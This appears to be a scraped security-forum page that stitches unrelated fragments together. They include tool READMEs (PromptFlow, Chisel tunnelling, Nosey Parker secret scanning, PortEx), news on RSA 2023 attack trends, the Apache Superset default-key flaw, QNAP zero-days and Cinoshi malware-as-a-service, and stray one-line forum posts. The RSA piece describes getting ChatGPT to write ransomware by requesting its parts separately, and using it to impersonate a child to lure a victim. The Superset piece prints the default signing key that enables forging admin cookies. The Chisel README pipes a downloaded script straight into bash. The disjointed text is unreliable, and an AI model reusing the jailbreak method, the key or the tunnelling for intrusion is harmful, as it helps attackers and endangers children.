Kev

PromptFlow is a tool that allows you to create executable flowcharts that link LLMs (Large Language Models), Prompts, Python functions, and conditional logic together. With PromptFlow, you can create complex workflows in a visual way, without having to write too much code or deal with complicated logic. How it works PromptFlow is based on a visual flowchart editor that allows you to create nodes and connections between them. Each node can be a Prompt, a Python function, or an LLM. Connections between nodes represent conditional logic, and allow you to specify the flow of your program. When you run your flowchart, PromptFlow will execute each node in the order specified by the connections, passing data between nodes as needed. If a node returns a value, that value will be passed to the next node in the flow. Initial Setup Install the required dependencies. Python 3.8+ is required to run PromptFlow. python -m pip install -r requirements.txt Launching Promptflow can be run with Python from the commandline: python run.py If you're having trouble ensure your PYTHONPATH is set correctly: export PYTHONPATH=$PYTHONPATH:. Documentation Official docs website: promptflow.org Building from source To build the sphinx documentation, run: cd docs make html Then open docs/build/html/index.html in your browser. Contributing If you are interested in contributing to PromptFlow, you can do so through building a node. If you find any bugs, do not hesitate to create an issue or open a PR or let us know in Discord. Download: promptflow-main.zip or git clone https://github.com/InsuranceToolkits/promptflow.git

The latest cyber-attack techniques were highlighted by a range of experts during the RSA 2023 Conference. SEO-Based Attacks There has been a significant growth in threat actors leveraging search engine optimization and malvertising to infiltrate users and organizations, according to, Katie Nickels, certified instructor, SANS Institute, and director of intelligence at Red Canary. She said this shift is a sign that “perimeter defenses are improving,” but means that attackers’ utilization of legitimate search engine optimization services is a major new challenge for organizations. Here, threat actors are paying search engine websites to push their malicious sites to the top of search results. Nickels demonstrated that this is proving effective, with the first three results of a particular search she used showing malicious sites. This technique is used for “lots of different intrusions,” including infecting users with infostealer malware, she said. Mitigating these types of attacks is difficult, as the perpetrators are utilizing legitimate and trusted services. Therefore, education is vital – for example, encouraging users to directly enter legitimate websites instead of using a search engines. Nickels added that organizations should utilize tools like ad-blocking software, and most importantly, to report malicious websites being displayed in search engine results on every possible occasion. Targeting of Developers Dr Johannes Ullrich, dean of research, SANS Technology Institute College, highlighted a growing number of attacks “specifically targeting developers.” This is an effective tactic, as developers are typically the first employees in an organization to be exposed to code. There have been numerous cases where threat actors have exploited vulnerabilities in software components to inject malicious software, that are then installed by developers in their business, said Ullrich. This was shown in the LastPass breaches in 2022, in which the attackers targeted a DevOps engineer's home computer by exploiting a vulnerable third-party media software package. Once installed by the developer, the attackers gained the privileges required for remote code execution. Ullrich said increased dialogue with developers from security teams, such as educating them about these types of threats, is crucial to mitigating the risk. Malicious Use of ChatGPT The next attack trend discussed in the session was the nefarious use of ChatGPT – for malware and exploit development. Stephen Sims, offensive operations curriculum lead and fellow, SANS Institute, demonstrated testing he had undertaken on the AI chatbot, to see if he could get it to write ransomware code. Although ChatGPT refused to do so when asked directly, Sims was able to find a way round it by instead asking the tool to write code for the individual components of ransomware, such as code just for encryption. Ultimately, “it wrote the whole thing for us.” Heather Mahalik, DFIR Curriculum Lead, SANS Institute, and senior director of digital intelligence at Cellebrite, also highlighted emerging threats from ChatGPT, focusing on how it can create realistic social engineering campaigns for a range of nefarious purposes. She demonstrated a potentially disturbing use of the tool – to try and sound like a nine-year-old child to entice a child into giving their home address. It proved highly effective in writing a realistic message in this manner. She argued this type of use of ChatGPT is an underappreciated risk, and “one of the biggest threats is definitely ignorance.” New Threat Report Insights During RSA 2023, BlackBerry published its latest Quarterly Global Threat Intelligence Report, covering the period between December 1, 2022 and February 28, 2023. Ismael Valenzuela, Vice President, threat research & intelligence at Blackberry sat down with Infosecurity at the show to discuss some of the main findings. The firm detected a significant increase in cross-platform malware, in which code is created that works across different platforms. “That makes sense as attackers are focused on impact,” Valenzuela stated. Another trend is the rise of infostealers, often used to steal credentials as even relatively minor organizations can provide access to high-value targets, he said. “There’s a lot of people going after credentials, no matter who you are,” added Valenzuela. The report also highlighted regional differences regarding attack techniques being used. Notably, there was a significant uptick in attacks targeting countries in South-East Asia, with Singapore appearing in the top 10 countries that experienced cyber-attacks and Hong Kong in the top 10 countries where unique malware samples were used. It is very important to highlight these variations as “the threats we see there are very unique to that region,” said Valenzuela. He highlighted an attack on a semi-conductor manufacturing company in Taiwan during this period. In this case, a remote access infostealer tool called Warzone was used in a very focused way. “We saw that this malware used geofencing, which means the malware is only going to detonate if it’s executing within a particular region,” explained Valenzuela. This highly targeted incident is very notable, and something to keep an eye on in Taiwan given the geopolitical situation with China. Source

Ce model de camere detii?

Two out of three public-facing app instances open to hijacking Apache Superset until earlier this year shipped with an insecure default configuration that miscreants could exploit to login and take over the data visualization application, steal data, and execute malicious code. The open source application, based on Python's Flask framework, defaulted to a publicly known secret key: SECRET_KEY = '\2\1thisismyscretkey\1\2\e\y\y\h' In an advisory on Tuesday, security firm Horizon3.ai explained that when a user logs into a Superset instance, the web application sends a session cookie with a user identifier back to the visitor's web browser. "The web application signs the cookie with a SECRET_KEY, a value that is supposed to be randomly generated and typically stored in a local configuration file," said Naveen Sunkavally, chief architect at Horizon3.ai. If an attacker knows the value of SECRET_KEY, that person can then generate and sign cookies, effectively authenticating as the app administrator. And it turns out to be trivial to check whether Superset is using the default key with a tool called flask-unsign. According to Sunkavally, about two-thirds of those using the software failed to generate a new key when setting up Superset: as of October 11, 2021, the application had almost 3,000 instances exposed to the internet, about 2,000 of which relied on the default secret key. The Apache security team responded the following day and by January 11, 2022, made some changes, which established a new default secret key: "CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET" But this time the app included a check to see whether the new default remained unchanged. If so, the app issued a warning to the app's log file, with instructions for how to generate a secure key. Heeding the warning, however, was left to users. More than a year after this change was made, on February 9, 2023, Horizon3.ai again checked to see how many Superset instances were configuring their app with a public default secret key. This time they expanded their Shodan.io search to four different default keys – the original, the new one, and two others – one from a deployment template and one from the documentation. And not much had changed. Out of 3,176 Superset instances, 2,124 (~67 percent) were using one of the four default keys. So Horizon3.ai contacted the Apache security team again. And two weeks later, on February 24, 2023, the project maintainers committed an update that would ship as part of the 2.1 release on April 5, 2023, to "impose harsher measures when a default SECRET_KEY is identified." The change made it so the app would not start with a default key. "With this update, many new users of Superset will no longer unintentionally shoot themselves in the foot," said Sunkavally, who cautioned that it's still possible to end up with an insecure version of Superset if the software is installed via a docker-compose file or a helm template. "The docker-compose file contains a new default SECRET_KEY of TEST_NON_DEV_SECRET that we suspect some users will unwittingly run Superset with. Some configurations also set admin/admin as the default credential for the admin user." The Superset vulnerability was disclosed as CVE-2023-27524 on Monday. Sunkavally said concerned Superset users can check to see whether their server has a default key with this script that relies on flask-unsign. The 2,000+ vulnerable Superset instances identified were operated by companies large and small, government agencies, and universities, according to Sunkavally, who added that some of these organizations addressed the vulnerability after being notified about it. Sunkavally said this episode illustrates that users do not read documentation and don't read logs. "The best approach is to take the choice away from users and require them to take deliberate actions to be purposefully insecure," he said. ® Via theregister.com

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Table of Contents Features Install Demo Usage Contributing Changelog License Features Easy to use Performant* Encrypted connections using the SSH protocol (via crypto/ssh) Authenticated connections; authenticated client connections with a users config file, authenticated server connections with fingerprint matching. Client auto-reconnects with exponential backoff Clients can create multiple tunnel endpoints over one TCP connection Clients can optionally pass through SOCKS or HTTP CONNECT proxies Reverse port forwarding (Connections go through the server and out the client) Server optionally doubles as a reverse proxy Server optionally allows SOCKS5 connections (See guide below) Clients optionally allow SOCKS5 connections from a reversed port forward Client connections over stdio which supports ssh -o ProxyCommand providing SSH over HTTP Install Binaries See the latest release or download and install it now with: curl https://i.jpillora.com/chisel! | bash Docker docker run --rm -it jpillora/chisel --help Fedora The package is maintained by the Fedora community. If you encounter issues related to the usage of the RPM, please use this issue tracker. sudo dnf -y install chisel Source $ go install github.com/jpillora/chisel@latest Demo A demo app on Heroku is running this chisel server: $ chisel server --port $PORT --proxy http://example.com # listens on $PORT, proxy web requests to http://example.com This demo app is also running a simple file server on :3000, which is normally inaccessible due to Heroku's firewall. However, if we tunnel in with: $ chisel client https://chisel-demo.herokuapp.com 3000 # connects to chisel server at https://chisel-demo.herokuapp.com, # tunnels your localhost:3000 to the server's localhost:3000 and then visit localhost:3000, we should see a directory listing. Also, if we visit the demo app in the browser we should hit the server's default proxy and see a copy of example.com. Usage $ chisel --help Usage: chisel [command] [--help] Version: X.Y.Z Commands: server - runs chisel in server mode client - runs chisel in client mode Read more: https://github.com/jpillora/chisel $ chisel server --help Usage: chisel server [options] Options: --host, Defines the HTTP listening host – the network interface (defaults the environment variable HOST and falls back to 0.0.0.0). --port, -p, Defines the HTTP listening port (defaults to the environment variable PORT and fallsback to port 8080). --key, An optional string to seed the generation of a ECDSA public and private key pair. All communications will be secured using this key pair. Share the subsequent fingerprint with clients to enable detection of man-in-the-middle attacks (defaults to the CHISEL_KEY environment variable, otherwise a new key is generate each run). --authfile, An optional path to a users.json file. This file should be an object with users defined like: { "<user:pass>": ["<addr-regex>","<addr-regex>"] } when <user> connects, their <pass> will be verified and then each of the remote addresses will be compared against the list of address regular expressions for a match. Addresses will always come in the form "<remote-host>:<remote-port>" for normal remotes and "R:<local-interface>:<local-port>" for reverse port forwarding remotes. This file will be automatically reloaded on change. --auth, An optional string representing a single user with full access, in the form of <user:pass>. It is equivalent to creating an authfile with {"<user:pass>": [""]}. If unset, it will use the environment variable AUTH. --keepalive, An optional keepalive interval. Since the underlying transport is HTTP, in many instances we'll be traversing through proxies, often these proxies will close idle connections. You must specify a time with a unit, for example '5s' or '2m'. Defaults to '25s' (set to 0s to disable). --backend, Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight. --socks5, Allow clients to access the internal SOCKS5 proxy. See chisel client --help for more information. --reverse, Allow clients to specify reverse port forwarding remotes in addition to normal remotes. --tls-key, Enables TLS and provides optional path to a PEM-encoded TLS private key. When this flag is set, you must also set --tls-cert, and you cannot set --tls-domain. --tls-cert, Enables TLS and provides optional path to a PEM-encoded TLS certificate. When this flag is set, you must also set --tls-key, and you cannot set --tls-domain. --tls-domain, Enables TLS and automatically acquires a TLS key and certificate using LetsEncrypt. Setting --tls-domain requires port 443. You may specify multiple --tls-domain flags to serve multiple domains. The resulting files are cached in the "$HOME/.cache/chisel" directory. You can modify this path by setting the CHISEL_LE_CACHE variable, or disable caching by setting this variable to "-". You can optionally provide a certificate notification email by setting CHISEL_LE_EMAIL. --tls-ca, a path to a PEM encoded CA certificate bundle or a directory holding multiple PEM encode CA certificate bundle files, which is used to validate client connections. The provided CA certificates will be used instead of the system roots. This is commonly used to implement mutual-TLS. --pid Generate pid file in current working directory -v, Enable verbose logging --help, This help text Signals: The chisel process is listening for: a SIGUSR2 to print process stats, and a SIGHUP to short-circuit the client reconnect timer Version: X.Y.Z Read more: https://github.com/jpillora/chisel $ chisel client --help Usage: chisel client [options] <server> <remote> [remote] [remote] ... <server> is the URL to the chisel server. <remote>s are remote connections tunneled through the server, each of which come in the form: <local-host>:<local-port>:<remote-host>:<remote-port>/<protocol> ■ local-host defaults to 0.0.0.0 (all interfaces). ■ local-port defaults to remote-port. ■ remote-port is required*. ■ remote-host defaults to 0.0.0.0 (server localhost). ■ protocol defaults to tcp. which shares <remote-host>:<remote-port> from the server to the client as <local-host>:<local-port>, or: R:<local-interface>:<local-port>:<remote-host>:<remote-port>/<protocol> which does reverse port forwarding, sharing <remote-host>:<remote-port> from the client to the server's <local-interface>:<local-port>. example remotes 3000 example.com:3000 3000:google.com:80 192.168.0.5:3000:google.com:80 socks 5000:socks R:2222:localhost:22 R:socks R:5000:socks stdio:example.com:22 1.1.1.1:53/udp When the chisel server has --socks5 enabled, remotes can specify "socks" in place of remote-host and remote-port. The default local host and port for a "socks" remote is 127.0.0.1:1080. Connections to this remote will terminate at the server's internal SOCKS5 proxy. When the chisel server has --reverse enabled, remotes can be prefixed with R to denote that they are reversed. That is, the server will listen and accept connections, and they will be proxied through the client which specified the remote. Reverse remotes specifying "R:socks" will listen on the server's default socks port (1080) and terminate the connection at the client's internal SOCKS5 proxy. When stdio is used as local-host, the tunnel will connect standard input/output of this program with the remote. This is useful when combined with ssh ProxyCommand. You can use ssh -o ProxyCommand='chisel client chiselserver stdio:%h:%p' \ user@example.com to connect to an SSH server through the tunnel. Options: --fingerprint, A *strongly recommended* fingerprint string to perform host-key validation against the server's public key. Fingerprint mismatches will close the connection. Fingerprints are generated by hashing the ECDSA public key using SHA256 and encoding the result in base64. Fingerprints must be 44 characters containing a trailing equals (=). --auth, An optional username and password (client authentication) in the form: "<user>:<pass>". These credentials are compared to the credentials inside the server's --authfile. defaults to the AUTH environment variable. --keepalive, An optional keepalive interval. Since the underlying transport is HTTP, in many instances we'll be traversing through proxies, often these proxies will close idle connections. You must specify a time with a unit, for example '5s' or '2m'. Defaults to '25s' (set to 0s to disable). --max-retry-count, Maximum number of times to retry before exiting. Defaults to unlimited. --max-retry-interval, Maximum wait time before retrying after a disconnection. Defaults to 5 minutes. --proxy, An optional HTTP CONNECT or SOCKS5 proxy which will be used to reach the chisel server. Authentication can be specified inside the URL. For example, http://admin:password@my-server.com:8081 or: socks://admin:password@my-server.com:1080 --header, Set a custom header in the form "HeaderName: HeaderContent". Can be used multiple times. (e.g --header "Foo: Bar" --header "Hello: World") --hostname, Optionally set the 'Host' header (defaults to the host found in the server url). --tls-ca, An optional root certificate bundle used to verify the chisel server. Only valid when connecting to the server with "https" or "wss". By default, the operating system CAs will be used. --tls-skip-verify, Skip server TLS certificate verification of chain and host name (if TLS is used for transport connections to server). If set, client accepts any TLS certificate presented by the server and any host name in that certificate. This only affects transport https (wss) connection. Chisel server's public key may be still verified (see --fingerprint) after inner connection is established. --tls-key, a path to a PEM encoded private key used for client authentication (mutual-TLS). --tls-cert, a path to a PEM encoded certificate matching the provided private key. The certificate must have client authentication enabled (mutual-TLS). --pid Generate pid file in current working directory -v, Enable verbose logging --help, This help text Signals: The chisel process is listening for: a SIGUSR2 to print process stats, and a SIGHUP to short-circuit the client reconnect timer Version: X.Y.Z Read more: https://github.com/jpillora/chisel Security Encryption is always enabled. When you start up a chisel server, it will generate an in-memory ECDSA public/private key pair. The public key fingerprint (base64 encoded SHA256) will be displayed as the server starts. Instead of generating a random key, the server may optionally specify a key seed, using the --key option, which will be used to seed the key generation. When clients connect, they will also display the server's public key fingerprint. The client can force a particular fingerprint using the --fingerprint option. See the --help above for more information. Authentication Using the --authfile option, the server may optionally provide a user.json configuration file to create a list of accepted users. The client then authenticates using the --auth option. See users.json for an example authentication configuration file. See the --help above for more information. Internally, this is done using the Password authentication method provided by SSH. Learn more about crypto/ssh here http://blog.gopheracademy.com/go-and-ssh/. SOCKS5 Guide 1. Start your chisel server docker run \ --name chisel -p 9312:9312 \ -d --restart always \ jpillora/chisel server -p 9312 --socks5 --key supersecret 2. Connect your chisel client (using server's fingerprint) chisel client --fingerprint 'rHb55mcxf6vSckL2AezFV09rLs7pfPpavVu++MF7AhQ=' <server-address>:9312 socks 3. Point your SOCKS5 clients (e.g. OS/Browser) to: <client-address>:1080 4. Now you have an encrypted, authenticated SOCKS5 connection over HTTP Caveats Since WebSockets support is required: IaaS providers all will support WebSockets (unless an unsupporting HTTP proxy has been forced in front of you, in which case I'd argue that you've been downgraded to PaaS) PaaS providers vary in their support for WebSockets Heroku has full support Openshift has full support though connections are only accepted on ports 8443 and 8080 Google App Engine has no support (Track this on their repo) Contributing http://golang.org/doc/code.html http://golang.org/doc/effective_go.html github.com/jpillora/chisel/share contains the shared package github.com/jpillora/chisel/server contains the server package github.com/jpillora/chisel/client contains the client package Changelog 1.0 - Initial release 1.1 - Replaced simple symmetric encryption for ECDSA SSH 1.2 - Added SOCKS5 (server) and HTTP CONNECT (client) support 1.3 - Added reverse tunnelling support 1.4 - Added arbitrary HTTP header support 1.5 - Added reverse SOCKS support (by @aus) 1.6 - Added client stdio support (by @BoleynSu) 1.7 - Added UDP support License MIT © Jaime Pillora Source

stenography

Multiple QNAP operating systems are affected, including QTS, QuTS hero, QuTScloud, and QVP Pro appliances, and some don't yet have patches available. Source: Aleskey Funtap via Alamy Stock Photo A pair of zero-day vulnerabilities in several Quality Network Appliance Provider (QNAP) operating systems (OS) for network-attached storage (NAS) appliances are impacting an estimated 80,000 devices worldwide. They remain unpatched for two of the four affected OSes. QNAP provides gear and software for Internet of Things (IoT) storage, networking, and smart video. The OS bugs, discovered by researchers at Sternum, are memory access violations, which could cause unstable code and could provide a path for an authenticated cybercriminal to execute arbitrary code. The vulnerabilities, tracked under CVE-2022-27597 and CVE-2022-27598, impact the QTS, QuTS hero, QuTScloud, and QVP OS, according to Sternum, and have been fixed in QTS version 5.0.1.2346 build 20230322 (and later) and QuTS hero version h5.0.1.2348 build 20230324 (and later). The QuTScloud and QVP OS remain unpatched, but QNAP said that it is "urgently fixing" the flaws. Source: QNAP Sternum researchers explain the memory access violations affect the performance, as well as the security of the QNAP devices. The QNAP security advisory adds, "If exploited, the vulnerability allows remote authenticated users to get secret values." While the bugs are rated "low severity," and so far, Sternum's researchers have not seen them exploited in the wild, getting a patch in place quickly matters — QNAP users continue to be a favorite target among cybercriminals. Why Is QNAP Cyberattacker Catnip? The DeadBolt ransomware group in particular was seen exploiting a range of zero-day vulnerabilities in a series of wide-rangingcybercampaigns against QNAP users in 2022 alone, surfacing regularly in May, June, and September. DeadBolt is clearly dead set, as it were, on putting effort into finding — and exploiting — QNAP flaws, preferably critical zero-days, according to Mark Parkin, senior technical engineer with Vulcan Cyber. "It's sometimes said that finding one vulnerability in a target will lead people into looking for more," Parkin explains. "The issue here is that they are finding more as they look. It almost makes you wonder if the attackers don't have access to the source code, or some other way to get an inside track." Collusion suspicions aside, it's up to organizations to make sure their highly targeted QNAP systems are up to date, especially given that new bugs are coming to light with some frequency. In addition to the most recent findings from Sternum, in February, users of QNAP QTS OS were alerted to a critical SQL injection issue with a CVSS score of 9.8. The disclosures just widen the attack surface further. In the case of the most recent vulnerabilities, users with systems without a patch available should employ a strong endpoint detection and response (EDR) solution and look for indicators of compromise. Because cyberattackers would need to be authenticated, doing an audit of who has access to vulnerable systems and providing additional authentication protection could also help mitigate an attack. One researcher warns that even in cases where patches are available, truly locking down the appliances might require a shift in mindset for some companies. "QNAP devices are very attractive to cybercriminals whose strategy is to ask a large number of victims for a small amount of money," Bud Broomhead, CEO of Viakoo says. "Because QNAP devices, along with many other IoT devices, are largely managed outside of IT, they are often misconfigured, left unprotected by a firewalls, and left unpatched." He adds, "These devices often are invisible to corporate IT and security teams and do not get audited or observed when they fall out of compliance, such as by being on out-of-date and insecure firmware." Source

Slowloris

Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data. It is useful both for offensive and defensive security testing. Key features: It supports scanning files, directories, and the entire history of Git repositories It uses regular expression matching with a set of 95 patterns chosen for high signal-to-noise based on experience and feedback from offensive security engagements It groups matches together that share the same secret, further emphasizing signal over noise It is fast: it can scan at hundreds of megabytes per second on a single core, and is able to scan 100GB of Linux kernel source history in less than 2 minutes on an older MacBook Pro This open-source version of Nosey Parker is a reimplementation of the internal version that is regularly used in offensive security engagements at Praetorian. The internal version has additional capabilities for false positive suppression and an alternative machine learning-based detection engine. Read more in blog posts here and here. Building from source 1. Prerequisites This has been tested on several versions of Ubuntu Linux on x86_64 and on macOS running on both Intel and ARM processors. Required dependencies: cargo: recommended approach:install from https://rustup.rs clang: needed for building the vectorscan-sys crate cmake: needed for building the vectorscan-sys crate python3: needed for building the vectorscan-sys crate 2. Build using Cargo cargo build --release This will produce an optimized binary at target/release/noseyparker. Docker Usage A prebuilt Docker image is available for the latest release for x86_64: docker pull ghcr.io/praetorian-inc/noseyparker:latest A prebuilt Docker image is available for the most recent commit for x86_64: docker pull ghcr.io/praetorian-inc/noseyparker:edge For other architectures (e.g., ARM) you will need to build the Docker image yourself: docker build -t noseyparker . Run the Docker image with a mounted volume: docker run -v "$PWD":/opt/ noseyparker Note: The Docker image runs noticeably slower than a native binary, particularly on macOS. Usage quick start The datastore Most Nosey Parker commands use a datastore. This is a special directory that Nosey Parker uses to record its findings and maintain its internal state. A datastore will be implicitly created by the scan command if needed. You can also create a datastore explicitly using the datastore init -d PATH command. Scanning filesystem content for secrets Nosey Parker has built-in support for scanning files, recursively scanning directories, and scanning the entire history of Git repositories. For example, if you have a Git clone of CPython locally at cpython.git, you can scan its entire history with the scan command. Nosey Parker will create a new datastore at np.cpython and saves its findings there. $ noseyparker scan --datastore np.cpython cpython.git Found 28.30 GiB from 18 plain files and 427,712 blobs from 1 Git repos [00:00:04] Scanning content ████████████████████ 100% 28.30 GiB/28.30 GiB [00:00:53] Scanned 28.30 GiB from 427,730 blobs in 54 seconds (538.46 MiB/s); 4,904/4,904 new matches Rule Distinct Groups Total Matches ─────────────────────────────────────────────────────────── PEM-Encoded Private Key 1,076 1,192 Generic Secret 331 478 netrc Credentials 42 3,201 Generic API Key 2 31 md5crypt Hash 1 2 Run the `report` command next to show finding details. Scanning Git repos by URL, GitHub username, or GitHub organization name Nosey Parker can also scan Git repos that have not already been cloned to the local filesystem. The --git-url URL, --github-user NAME, and --github-org NAME options to scan allow you to specify repositories of interest. For example, to scan the Nosey Parker repo itself: $ noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker For example, to scan accessible repositories belonging to octocat: $ noseyparker scan --datastore np.noseyparker --github-user octocat These input specifiers will use an optional GitHub token if available in the NP_GITHUB_TOKEN environment variable. Providing an access token gives a higher API rate limit and may make additional repositories accessible to you. See noseyparker help scan for more details. Summarizing findings Nosey Parker prints out a summary of its findings when it finishes scanning. You can also run this step separately: $ noseyparker summarize --datastore np.cpython Rule Distinct Groups Total Matches ─────────────────────────────────────────────────────────── PEM-Encoded Private Key 1,076 1,192 Generic Secret 331 478 netrc Credentials 42 3,201 Generic API Key 2 31 md5crypt Hash 1 2 Additional output formats are supported, including JSON and JSON lines, via the --format=FORMAT option. Reporting detailed findings To see details of Nosey Parker's findings, use the report command. This prints out a text-based report designed for human consumption: $ noseyparker report --datastore np.cpython Finding 1/1452: Generic API Key Match: QTP4LAknlFml0NuPAbCdtvH4KQaokiQE Showing 3/29 occurrences: Occurrence 1: Git repo: clones/cpython.git Blob: 04144ceb957f550327637878dd99bb4734282d07 Lines: 70:61-70:100 e buildbottest notifications: email: false webhooks: urls: - https://python.zulipchat.com/api/v1/external/travis?api_key=QTP4LAknlFml0NuPAbCdtvH4KQaokiQE&stream=core%2Ftest+runs on_success: change on_failure: always irc: channels: # This is set to a secure vari Occurrence 2: Git repo: clones/cpython.git Blob: 0e24bae141ae2b48b23ef479a5398089847200b3 Lines: 174:61-174:100 j4 -uall,-cpu" notifications: email: false webhooks: urls: - https://python.zulipchat.com/api/v1/external/travis?api_key=QTP4LAknlFml0NuPAbCdtvH4KQaokiQE&stream=core%2Ftest+runs on_success: change on_failure: always irc: channels: # This is set to a secure vari ... (Note: the findings above are synthetic, invalid secrets.) Additional output formats are supported, including JSON and JSON lines, via the --format=FORMAT option. Enumerating repositories from GitHub To list URLs for repositories belonging to GitHub users or organizations, use the github repos list command. This command uses the GitHub REST API to enumerate repositories belonging to one or more users or organizations. For example: $ noseyparker github repos list --user octocat https://github.com/octocat/Hello-World.git https://github.com/octocat/Spoon-Knife.git https://github.com/octocat/boysenberry-repo-1.git https://github.com/octocat/git-consortium.git https://github.com/octocat/hello-worId.git https://github.com/octocat/linguist.git https://github.com/octocat/octocat.github.io.git https://github.com/octocat/test-repo1.git An optional GitHub Personal Access Token can be provided via the NP_GITHUB_TOKEN environment variable. Providing an access token gives a higher API rate limit and may make additional repositories accessible to you. Additional output formats are supported, including JSON and JSON lines, via the --format=FORMAT option. See noseyparker help github for more details. Getting help Running the noseyparker binary without arguments prints top-level help and exits. You can get abbreviated help for a particular command by running noseyparker COMMAND -h. Tip: More detailed help is available with the help command or long-form --help option. Contributing Contributions are welcome, particularly new regex rules. Developing new regex rules is detailed in a separate document. If you are considering making significant code changes, please open an issue first to start discussion. Download: noseyparker-main.zip or git clone https://github.com/praetorian-inc/noseyparker.git

Intro With Apple's Universal Clipboard, you can copy content from one Apple device and paste onto another. With Telltail, you copy text from any device to any other device. Tailscale helps you to weave a secure connection between your devices. And Telltail leverages that connection to transfer text over. Telltail is an independent project and is not affiliated with Tailscale. How to use We have prepared a guide for you that would help you to configure it. How it works It has two parts: Center: A program that stores the text you want across your devices, and Sync: Interacts with Center and lets you copy and paste with your usual keyboard shortcuts. (Available for Linux (X11), macOS and Windows.) This repository contains the former, Center. Sync can be found here. How it is made I've published a blog post about it which you can read to understand more. Download: https://github.com/ajitid/telltail-center.git Download ZIP: https://github.com/ajitid/telltail-center/archive/refs/heads/main.zip Source

https://frida.re/docs/gadget/ https://lief-project.github.io/doc/latest/tutorials/09_frida_lief.html https://koz.io/using-frida-on-android-without-root/ https://github.com/sensepost/objection/ https://github.com/NickstaDB/patch-apk/ https://neo-geo2.gitbook.io/adventures-on-security/frida-scripting-guide/frida-scripting-guide Sursa: https://github.com/ax/apk.sh

An all-in-one malware platform named Cinoshi has been discovered by security researchers that consist of stealer, botnet, cryptominer, and clipper services - all operated via a single panel. The operators of this multi-purpose platform aggressively marketed the platform while offering some services for free. Cinoshi Stealer and its capabilities Cinoshi Stealer, integrated with other malware components via the web panel, is capable of stealing a vast amount of sensitive information from the infected device. It collects cards, cookies, and credentials from popular browsers including Chromium, Edge, and Gecko. It collects data from over 35 crypto wallets and browser extensions, and steals sessions from Discord, Telegram, and Steam. It further allows taking screenshots of the computer and capturing pics from the webcam. Cinoshi Clipper and cryptominer Cinoshi clipper targets crypto addresses of multiple cryptocurrencies, including Bitcoin, Bitcoin Cash, Litecoin, Dashcoin, Neocoin, Ripple, Ethereum, Stellar, and Monero. Additionally, it targets Steam users by swapping their steam trade links with the attacker’s own link, thus redirecting users’ Steam trade transactions into their own steam account. Cinoshi cryptominer allows the attacker to mine currencies such as Monero and Ethereum. The miner build can be further customized for parameters such as CPU consumption, wallet details, and time duration, using the web panel. The web panel and the botnet The web panel has specific sections for the management of each type of malware, namely the stealer panel, clipper panel, cryptominer panel, and botnet panel. It allows the attacker to perform all operational activities, such as compilation of builds, management of Telegram notifications, and configurations for the malware, without the need for a hosting server. The Cinoshi botnet panel allows attackers to build a botnet, allowing them to download and install additional malware families on the targeted machine. Cinoshi’s subscription model Cyble researchers revealed that the Cinoshi MaaS has been available on a monthly subscription model since early this month. The botnet and clipper functionalities are available for 1000 rubles (~ $15) a month. The cryptominer is available for 2000 rubles (~ $30), for a lifetime subscription. In addition to the above-paid services, the platform offers Cinoshi Stealer and a web panel to control malicious activities for free. The free version of the stealer payload does not have any encryption or obfuscation. To obtain the encrypted build, the platform demands 300 Rubles ($4.5). Ending notes Several malware developers are actively using the MaaS business model for monetizing the malware. However, by offering a free stealer and web panel, Cinoshi has further raised the bar, by making it a single-stop solution for different malicious activities. This rapid growth of the MaaS space is pretty concerning for the cybersecurity industry. Source

Sunt clasificate man, nu le gasesti pe net

https://wikileaks.org

Graphical interface for PortEx, a Portable Executable and Malware Analysis Library Features Header information from: MSDOS Header, Rich Header, COFF File Header, Optional Header, Section Table PE Structures: Import Section, Resource Section, Export Section, Debug Section Scanning for file format anomalies Visualize file structure, local entropies and byteplot, and save it as PNG Calculate Shannon Entropy, Imphash, MD5, SHA256, Rich and RichPV hash Overlay and overlay signature scanning Version information and manifest Icon extraction and saving as PNG Customized signature scanning via Yara. Internal signature scans using PEiD signatures and an internal filetype scanner. Supported OS and JRE I test this program on Linux and Windows. But it should work on any OS with JRE version 9 or higher. Future I will be including more and more features that PortEx already provides. These features include among others: customized visualization extraction and conversion of icons to .ICO files dumping of sections, overlay, resources export reports to txt, json, csv Some of these features are already provided by PortexAnalyzer CLI version, which you can find here: PortexAnalyzer CLI Download: PortexAnalyzerGUI-main.zip or git clone https://github.com/struppigel/PortexAnalyzerGUI.git Source

E-Whoring?

Introduction Out of the box, our default CLI PHP version is set to PHP 7.4. In the near future, this will be updated to be 8.0 out of the box. This change will take place automatically, and so will future updates. For most GridPane users, you can leave our defaults and stop reading right now. For a few of you though, you may come across a situation where you need to change our defaults to a higher or lower version of PHP, and this article will walk you through how to make this change and set it so that our systems don’t automatically update it in the future. TABLE OF CONTENTS CLI PHP vs Website PHP Getting Started Checking Your CLI PHP Version Changing Your CLI PHP Version CLI PHP vs Website PHP Before we begin, it’s important to understand the CLI PHP version, and the version of PHP that your individual websites run on is not the same thing. Updating your website’s PHP version will not solve any issues that arise from scripts/software that does not support your current CLI version of PHP. WHAT IS PHP CLI? PHP CLI is PHP’s Command Line Interface, and it allows PHP to be executed from the server command line. A REAL WORLD EXAMPLE: COMPOSER Most programs have a minimum PHP requirement. Back in the days when 7.2 was our default CLI PHP version, Composer made an update that required a minimum of PHP 7.3. This caused problems not just with Composer but other programs as well – here’s an example of an error from a site where SSO was failing to generate a login link: Your Composer dependencies require a PHP version ">= 7.3.0". You are running 7.2.25-1+ubuntu18.04.1+deb.sury.org+1. Error Code: 100 | PHP Errors stopping SSO Link creation, please check logs.... Here Composer is using the CLI PHP version and not the FPM/LSPHP version that is used by your websites. Switching the website PHP version of your sites would, therefore, not fix this issue. Updating the CLI PHP version to 7.3 fixed the above SSO errors and allowed Composer to once again function correctly. Getting Started To make this change, you will first need to SSH into your server. Once connected, the rest is simply a copy-and-paste exercise following our steps below. Please see the following guides to get started: Step 1. Generate your SSH Key Step 2. Add your SSH Key to GridPane (also see Add default SSH Keys) Step 3. Connect to your server by SSH as Root user (we like and use Termius) Checking Your CLI PHP Version To check your CLI PHP version, you can run the following command: sudo update-alternatives --display php This will output the following, only with the correct PHP version should your setting be different: root@servername:~# sudo update-alternatives --display php php - manual mode link best version is /usr/bin/php8.1 link currently points to /usr/bin/php7.4 link php is /usr/bin/php slave 